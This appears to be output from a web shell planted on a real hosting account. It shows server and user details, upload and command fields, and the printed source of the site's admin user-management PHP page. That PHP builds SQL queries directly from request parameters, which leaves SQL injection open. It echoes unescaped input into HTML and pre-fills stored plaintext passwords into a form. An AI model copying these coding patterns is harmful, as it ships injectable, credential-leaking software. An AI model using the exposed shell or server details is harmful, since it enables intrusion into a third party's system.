Private
Server IP : 192.124.249.33  /  Your IP : 66.248.200.33
Web Server : Apache
System : Linux 141.134.66.148.host.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els6.x86_64 #1 SMP Fri Sep 13 13:42:20 UTC 2024 x86_64
User : tarangglobal ( 1001)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/tarangglobal/public_html/cyber/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/tarangglobal/public_html/cyber/admin/user_master.php
<?php require_once("pdoconfig.php"); ?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
	<meta name="description" content="Materia - Admin Template">
	<meta name="keywords" content="materia, webapp, admin, dashboard, template, ui">
	<meta name="author" content="solutionportal">
	<!-- <base href="/"> -->
	<title>User Master</title>
	
	<!-- Icons -->
	<link rel="stylesheet" href="fonts/ionicons/css/ionicons.min.css">
	<link rel="stylesheet" href="fonts/font-awesome/css/font-awesome.min.css">
	<!-- Plugins -->
	<link rel="stylesheet" href="styles/plugins/c3.css">
	<link rel="stylesheet" href="styles/plugins/waves.css">
	<link rel="stylesheet" href="styles/plugins/perfect-scrollbar.css">
	
	<!-- Css/Less Stylesheets -->
	<link rel="stylesheet" href="styles/bootstrap.min.css">
	<link rel="stylesheet" href="styles/main.min.css">
	 
 	<link href='http://fonts.googleapis.com/css?family=Roboto:400,500,700,300' rel='stylesheet' type='text/css'>
	<!-- Match Media polyfill for IE9 -->
	<!--[if IE 9]> <script src="scripts/ie/matchMedia.js"></script>  <![endif]--> 
	
<style>
.dropdown-menu {
  position: absolute;
  top: 100%;
  left: 0;
  z-index: 1000;
  display: none;
  float: left;
  min-width: 160px;
  padding: 5px 0;
  margin: 2px 0 0;
  list-style: none;
  font-size: 14px;
  text-align: left;
  background-color: #ffffff;
  border: 1px solid #cccccc;
  border: 1px solid #eeeeee;
  border-radius: 2px;
  -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
  box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);
  background-clip: padding-box;
}
.table > tbody > tr > td {
	padding-left:6px;
	padding-right:6px;
}
.table > tbody > tr > td, .table > tfoot > tr > td {
    padding: 3px;
}
.actives{
	background-color: rgb(58, 57, 57) !important;
}

.auto-style1 {
	text-align: left;
}

.table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td {
    padding: 2px;
}
.form-control {
    border: 1px solid#ddd;
}
</style>
	
</head>
<body id="app" class="app off-canvas">
	<!-- #Start header -->
		<?php include('_header.php');?>
	<!-- #end header -->
	<!-- main-container -->
	<div class="main-container clearfix">
		<!-- main-navigation -->
		<?php include('_left-menu.php');?>
		<!-- #end main-navigation -->
		<!-- content-here -->
		<?php 
$tabflag=$_REQUEST['tabflag'];
$search1=$_REQUEST['search'];
$search=strtoupper($search1);
if($search!='')
{
  //$conds=" having ser like  '%$search%'";
}
?>

		<div class="content-container" id="content">
			<!-- dashboard page -->
			<div class="page page-dashboard">
				<div class="page-wrap">
					<div class="row">
					    
					    <div class="col-md-12">
							<div class="dash-head clearfix mt30 mb20">
								<div class="left">
									<h4 class="mb5 text-light" style="font-weight:bold;">Manage Users</h4>
								</div>
								<div class="right mt10">
									<h5 class="text-bold mb0 mt5"><a href="user_master.php?act=add">Add New Record</a></h5>
								</div>
							</div>
						</div>
						
						<div class="row">
				<?php 
		$act=$_REQUEST['act'];
		$catid=$_REQUEST['catid'];
		
		if(isset($_REQUEST['catid']))
		{
			$catid=$_REQUEST['catid'];						
			
			$sqlu="select * from aa_user_master where usr_id=$catid";
			$res= $action->select($sqlu);

			foreach ($res as $id=>$row){
			
			$name=$row['name']; 
			$pass=$row['pass'];
			$email=$row['email']; 
			$contact=$row['contact'];
			$address=$row['address'];
			$state=$row['state'];
			$city=$row['city'];
			$active=$row['approve'];
			}
		  
		}
		?>
		<?php if($act=='add' || $act=='edit' || $act=='del'){?>
	
		<div class="col-md-12">
		<form action="user_master_save.php" method="post">
		<input name="catid" type="hidden" value="<?=$catid?>"/>
		<input name="act" type="hidden" value="<?=$act?>"/>

			<div class="col-md-6" style="margin:auto;float:none;">
		
			<div style="width:100%;float:left;background-color:#fff;padding:15px;">
				<div class="col-md-6" style="margin-bottom:10px;">
					<label>Name</label>
					<input type="text" class="form-control" placeholder="Name" name="name" value="<?=$name;?>"/>
				</div>
					
				<div class="col-md-6" style="margin-bottom:10px;">
					<label>Email</label>
					<input type="text" class="form-control" placeholder="Email" name="email" value="<?=$email;?>"/>
				</div>
				<div class="col-md-6" style="margin-bottom:10px;">
					<label>Contact</label>
					<input type="text" class="form-control" placeholder="Contact" name="contact" value="<?=$contact;?>"/>
				</div>
				<div class="col-md-6" style="margin-bottom:10px;">
					<label>Address</label>
					<Textarea type="text" class="form-control" placeholder="Address" name="address"><?=$address;?></Textarea>
				</div>
				<div class="col-md-6" style="margin-bottom:10px;">
					<label>State</label>
					<input type="text" class="form-control" placeholder="State" name="state" value="<?=$state;?>"/>
				</div>
				<div class="col-md-6" style="margin-bottom:10px;">
					<label>City</label>
					<input type="text" class="form-control" placeholder="City" name="city" value="<?=$city;?>"/>
				</div>
                <div class="col-md-6" style="margin-bottom:10px;">
					<label>Password</label>
					<input type="password" class="form-control" placeholder="Password" name="pass" value="<?=$pass;?>"/>
				</div>
					<div class="col-md-6" style="margin-bottom:10px;">
						<label>Action</label>
							<select class="form-control" name="action" id="catname">
								<option value="-1">-- Select Action --</option>
							    <option value="0" <?php if($active==0) echo "Selected";?>>Pending</option>
								<option value="1" <?php if($active==1) echo "Selected";?>>Approve</option>
								<option value="2" <?php if($active==2) echo "Selected";?> >Cancel</option>
								
							</select>
                    </div>

				
				
				<div class="col-md-12" style="text-align:center;margin-top:20px;">
					 <?php if($act=='add'){?>
						<button class="btn btn-primary mr5 waves-effect" type="submit" value="add" id="btn-add">Save</button>
					 <?php } 
					 else if($act=='edit')
					 { ?>
						<button class="btn btn-primary mr5 waves-effect" type="submit" value="edit" id="btn-add">Save</button>
					 <a href="user_master_save.php?catid=<?=$row['usr_id'];?>&amp;act=del" class="btn btn-primary mr5 waves-effect">Delete</a>
					 <?php } ?>
				</div>


				</div>
			</div>
			</form>
		</div>
		<?php } ?>
		
	        	<?php 
				 if(isset($_REQUEST['Submit1']))
				 {
				   $search=$_REQUEST['search'];						   
				   $cond=" and concat(aa_user_master.name,email,contact,address,state,city) like '%$search%'"; 
				 }
				?>


						<!-- style three -->
						<div class="col-md-12 mb30" style="margin-top:20px;">
						<!-- tab style -->
							<div class="clearfix tabs-fill">							
								<table style="width:auto;float:right;">
									<tr><form method="post"><td style="padding-right:5px;"><input name="search" type="text" class="form-control" value="<?=$search1;?>"/></td><td><button name="Submit1" type="submit" value="submit" class="btn btn-primary mr5 waves-effect waves-effect">Search</button></td></form></tr>
								</table>

								<ul class="nav nav-tabs">
									<li class="<?php if($tabflag==1 || $tabflag==''){ echo 'active'; }?>"><a href="#tab-flip-one-1" data-toggle="tab">New User <span id="pcount">&nbsp;</span></a></li>
									<li class="<?php if($tabflag==2){ echo 'active'; }?>"><a href="#tab-flip-two-1" data-toggle="tab">Approved<span id="prcount">&nbsp;</span></a></li>
								    <li class="<?php if($tabflag==3){ echo 'active'; }?>"><a href="#tab-flip-two-2" data-toggle="tab">Cancled<span id="prcount1">&nbsp;</span></a></li>

								</ul>
								
								
								<div class="tab-content" style="width: 100%;float: left;">
								<div class="tab-pane <?php if($tabflag==1 || $tabflag==''){ echo 'active'; }?>" id="tab-flip-one-1">
								   <table class="table table-bordered table-hover">
						<thead>
							<tr style="background:#f1f1f1;">
							    <td class="text-left">#</td>
							<td>Name</td>
						
						<td>Email</td>
						<td>Contact</td>
						<td>Address</td>
						<td>State</td>
						<td>City</td>
						<td>Identity</td>
						<td style="width:100px;">Action</td>

							</tr>
						</thead>
						<tbody>
				<?php
					$num_rec_per_page=15;
					if (isset($_GET["page"])) { $page  = $_GET["page"]; } else { $page=1; }; 
					$i=1+$start_from = ($page-1) * $num_rec_per_page;
					
					$sql="SELECT * FROM aa_user_master where 1=1 and approve=0 ".$cond."  order by aa_user_master.usr_id desc LIMIT $start_from, $num_rec_per_page";
					//echo $sql;
					$res= $action->select($sql);
					foreach ($res as $id=>$row){
					$a=$row['approve'];
					?>
					<tr>
						<td><?=$i++;?></td>
						<td><?=$row['name'];?></td>
						<td><?=$row['email'];?></td>
						<td><?=$row['contact'];?></td>
						<td><?=$row['address'];?></td>
						<td><?=$row['state'];?></td>
						<td><?=$row['city'];?></td>
						<td><?php if($a==1){ echo "Student";} else if($a==0){ echo "User";} else{ echo "N/A";}?></td>
						<td style="display:none;"><?php if($a==1){ echo 'Active';}else{ echo 'Deactive';}?></td>
						<td><a href="user_master.php?catid=<?=$row['usr_id']?>&amp;act=edit" class="link btn-primary" style="padding:5px;border-radius:2px">Update</a></td>
					</tr>
					<?php } ?>


                         
						</tbody>
					</table>
<div style="width:100%;float:left;text-align:center;background:#fff;padding: 10px;">				
<div style="width:100%;float:left;">
<?php 
$params = $_SERVER['QUERY_STRING'];
$params=str_replace("page=","",$params);
$p=substr($params,0,strpos($params,"&"));

$sql="select * from aa_user_master where 1=1 ".$cond;
 
//echo $sql;
$res= $action->select($sql); //run the query
$total_records =count($res);  //count number of records
//echo $total_records;
$total_pages = ceil($total_records / $num_rec_per_page); 
	echo "<a style='background-color: rgb(255, 45, 0);color:#fff;padding: 1px 4px;' href='user_master.php?page=1&$params'>".'First'."</a> "; // Goto 1st page  
for ($i=1; $i<=$total_pages; $i++) 
{ 
$a="";
if($p==$i){ $a="active"; }
	echo "<a class='$a' style='background-color: rgb(255, 45, 0);color:#fff;padding: 1px 4px;' href='user_master.php?page=".$i."&".$params."'>".$i."</a> "; 
}; 
echo "<a style='background-color: rgb(255, 45, 0);color:#fff;padding: 1px 4px;' href='user_master.php?page=$total_pages&$params'>".'Last'."</a> "; // Goto last page
?>
</div>
</div>					

								</div>
								<div class="tab-pane <?php if($tabflag==2){ echo 'active'; }?>" id="tab-flip-two-1" style="width: 100%;float: left;">
                               <table class="table table-bordered table-hover">
						<thead>
							<tr style="background:#f1f1f1;">
							<td class="text-left">#</td>
							<td>Name</td>
							<td>Email</td>
						<td>Contact</td>
						<td>Address</td>
						<td>State</td>
						<td>City</td>
						<td>Identity</td>
						<td style="width:100px;">Action</td>
							</tr>
						</thead>
						<tbody>
						<?php
					                $num_rec_per_page=15;
									if (isset($_GET["page"])) { $page  = $_GET["page"]; } else { $page=1; }; 
									$i=1+$start_from = ($page-1) * $num_rec_per_page;
					
					$sql="SELECT * FROM `aa_user_master` where 1=1 and approve=1 ".$cond."  order by aa_user_master.usr_id desc LIMIT $start_from, $num_rec_per_page";
					//echo $sql;
					$res= $action->select($sql);
					foreach ($res as $id=>$row){
					$a=$row['approve'];
					?>
					<tr>
						<td><?=$i++;?></td>
						<td><?=$row['name'];?></td>
						<td><?=$row['email'];?></td>
						<td><?=$row['contact'];?></td>
						<td><?=$row['address'];?></td>
						<td><?=$row['state'];?></td>
						<td><?=$row['city'];?></td>
					    <td><?php if($a==1){ echo "Student";} else if($a==0){ echo "User";} else{ echo "N/A";}?></td>
						<td style="display:none;"><?php if($a==1){ echo 'Active';}else{ echo 'Deactive';}?></td>
						<td><a href="user_master.php?catid=<?=$row['usr_id']?>&amp;act=edit" class="link btn-primary" style="padding:5px;border-radius:2px">Update</a></td>
					</tr>
					<?php } ?>
					
						
                       
						</tbody>
					</table>
<div style="width:100%;float:left;text-align:center;background:#fff;padding: 10px;">				
<div style="width:100%;float:left;">
<?php 
$params = $_SERVER['QUERY_STRING'];
$params=str_replace("page=","",$params);
$p=substr($params,0,strpos($params,"&"));

$sql="select * from aa_user_master where 1=1 ".$cond;
 
//echo $sql;
$res= $action->select($sql); //run the query
$total_records =count($res);  //count number of records
//echo $total_records;
$total_pages = ceil($total_records / $num_rec_per_page); 
	echo "<a style='background-color: rgb(255, 45, 0);color:#fff;padding: 1px 4px;' href='user_master.php?page=1&$params'>".'First'."</a> "; // Goto 1st page  
for ($i=1; $i<=$total_pages; $i++) 
{ 
$a="";
if($p==$i){ $a="active"; }
	echo "<a class='$a' style='background-color: rgb(255, 45, 0);color:#fff;padding: 1px 4px;' href='user_master.php?page=".$i."&".$params."'>".$i."</a> "; 
}; 
echo "<a style='background-color: rgb(255, 45, 0);color:#fff;padding: 1px 4px;' href='user_master.php?page=$total_pages&$params'>".'Last'."</a> "; // Goto last page
?>
</div>
</div>								</div>

	<div class="tab-pane <?php if($tabflag==3){ echo 'active'; }?>" id="tab-flip-two-2" style="width: 100%;float: left;">
                               <table class="table table-bordered table-hover">
						<thead>
							<tr style="background:#f1f1f1;">
							<td class="text-left">#</td>
							<td>Name</td>
							<td>Email</td>
						<td>Contact</td>
						<td>Address</td>
						<td>State</td>
						<td>City</td>
						<td>Identity</td>
						<td style="width:100px;">Action</td>
							</tr>
						</thead>
						<tbody>
					<?php
				                    $num_rec_per_page=15;
									if (isset($_GET["page"])) { $page  = $_GET["page"]; } else { $page=1; }; 
									$i=1+$start_from = ($page-1) * $num_rec_per_page;
					
					$sql="SELECT * FROM `aa_user_master` where 1=1 and approve=2 ".$cond."  order by aa_user_master.usr_id desc LIMIT $start_from, $num_rec_per_page";
					//echo $sql;
					$res= $action->select($sql);
					foreach ($res as $id=>$row){
					$a=$row['approve'];
					?>
					<tr>
						<td><?=$i++;?></td>
						<td><?=$row['name'];?></td>
						<td><?=$row['email'];?></td>
						<td><?=$row['contact'];?></td>
						<td><?=$row['address'];?></td>
						<td><?=$row['state'];?></td>
						<td><?=$row['city'];?></td>
						<td><?php if($a==1){ echo "Student";} else if($a==0){ echo "User";} else{ echo "N/A";}?></td>
						<td style="display:none;"><?php if($a==1){ echo 'Active';}else{ echo 'Deactive';}?></td>
						<td><a href="user_master.php?catid=<?=$row['usr_id']?>&amp;act=edit" class="link btn-primary" style="padding:5px;border-radius:2px">Update</a></td>
					</tr>
					<?php } ?>

                       
						</tbody>
					</table>
					
					
					
<div style="width:100%;float:left;text-align:center;background:#fff;padding: 10px;">				
<div style="width:100%;float:left;">
<?php 
$params = $_SERVER['QUERY_STRING'];
$params=str_replace("page=","",$params);
$p=substr($params,0,strpos($params,"&"));

$sql="select * from aa_user_master where 1=1 ".$cond;
 
//echo $sql;
$res= $action->select($sql); //run the query
$total_records =count($res);  //count number of records
//echo $total_records;
$total_pages = ceil($total_records / $num_rec_per_page); 
	echo "<a style='background-color: rgb(255, 45, 0);color:#fff;padding: 1px 4px;' href='user_master.php?page=1&$params'>".'First'."</a> "; // Goto 1st page  
for ($i=1; $i<=$total_pages; $i++) 
{ 
$a="";
if($p==$i){ $a="active"; }
	echo "<a class='$a' style='background-color: rgb(255, 45, 0);color:#fff;padding: 1px 4px;' href='user_master.php?page=".$i."&".$params."'>".$i."</a> "; 
}; 
echo "<a style='background-color: rgb(255, 45, 0);color:#fff;padding: 1px 4px;' href='user_master.php?page=$total_pages&$params'>".'Last'."</a> "; // Goto last page
?>
</div>
</div>
	

					
								</div>
							</div>
							<!-- tab style -->
							
						</div>
			
					</div>
				</div> <!-- #end page-wrap -->
			</div>
			<!-- #end dashboard page -->
		</div>
	</div> <!-- #end main-container -->
	<!-- theme settings -->
	<div class="site-settings clearfix hidden-xs">
		<div class="settings clearfix">
			<div class="trigger ion ion-settings left"></div>
			<div class="wrapper left">
				<ul class="list-unstyled other-settings">
					<li class="clearfix mb10">
						<div class="left small">Nav Horizontal</div>
						<div class="md-switch right">
							<label>
								<input type="checkbox" id="navHorizontal"> 
								<span>&nbsp;</span> 
							</label>
						</div>
						
						
					</li>
					<li class="clearfix mb10">
						<div class="left small">Fixed Header</div>
						<div class="md-switch right">
							<label>
								<input type="checkbox"  id="fixedHeader"> 
								<span>&nbsp;</span> 
							</label>
						</div>
					</li>
					<li class="clearfix mb10">
						<div class="left small">Nav Full</div>
						<div class="md-switch right">
							<label>
								<input type="checkbox"  id="navFull"> 
								<span>&nbsp;</span> 
							</label>
						</div>
					</li>
				</ul>
				<hr/>
				<ul class="themes list-unstyled" id="themeColor">
					<li data-theme="theme-zero" class="active"></li>
					<li data-theme="theme-one"></li>
					<li data-theme="theme-two"></li>
					<li data-theme="theme-three"></li>
					<li data-theme="theme-four"></li>
					<li data-theme="theme-five"></li>
					<li data-theme="theme-six"></li>
					<li data-theme="theme-seven"></li>
				</ul>
			</div>
		</div>
	</div>
	<!-- #end theme settings -->
	
	<!-- Dev only -->
	<!-- Vendors -->
	<script src="scripts/vendors.js"></script>
	<script src="scripts/plugins/d3.min.js"></script>
	<script src="scripts/plugins/c3.min.js"></script>
	<script src="scripts/plugins/screenfull.js"></script>
	<script src="scripts/plugins/perfect-scrollbar.min.js"></script>
	<script src="scripts/plugins/waves.min.js"></script>
	<script src="scripts/plugins/jquery.sparkline.min.js"></script>
	<script src="scripts/plugins/jquery.easypiechart.min.js"></script>
	<script src="scripts/plugins/bootstrap-rating.min.js"></script>
	<script src="scripts/app.js"></script>
	<script src="scripts/index.init.js"></script>
	
 <script>
 $(document).ready(function(){
 
  $("#pcount").html("("+<?=$pend;?>+")");
  $("#prcount").html("("+<?=$proces;?>+")");
  $("#dcount").html("("+<?=$dispetch;?>+")");
 });
 
 
 </script>	
	
	
</body>
</html>
Private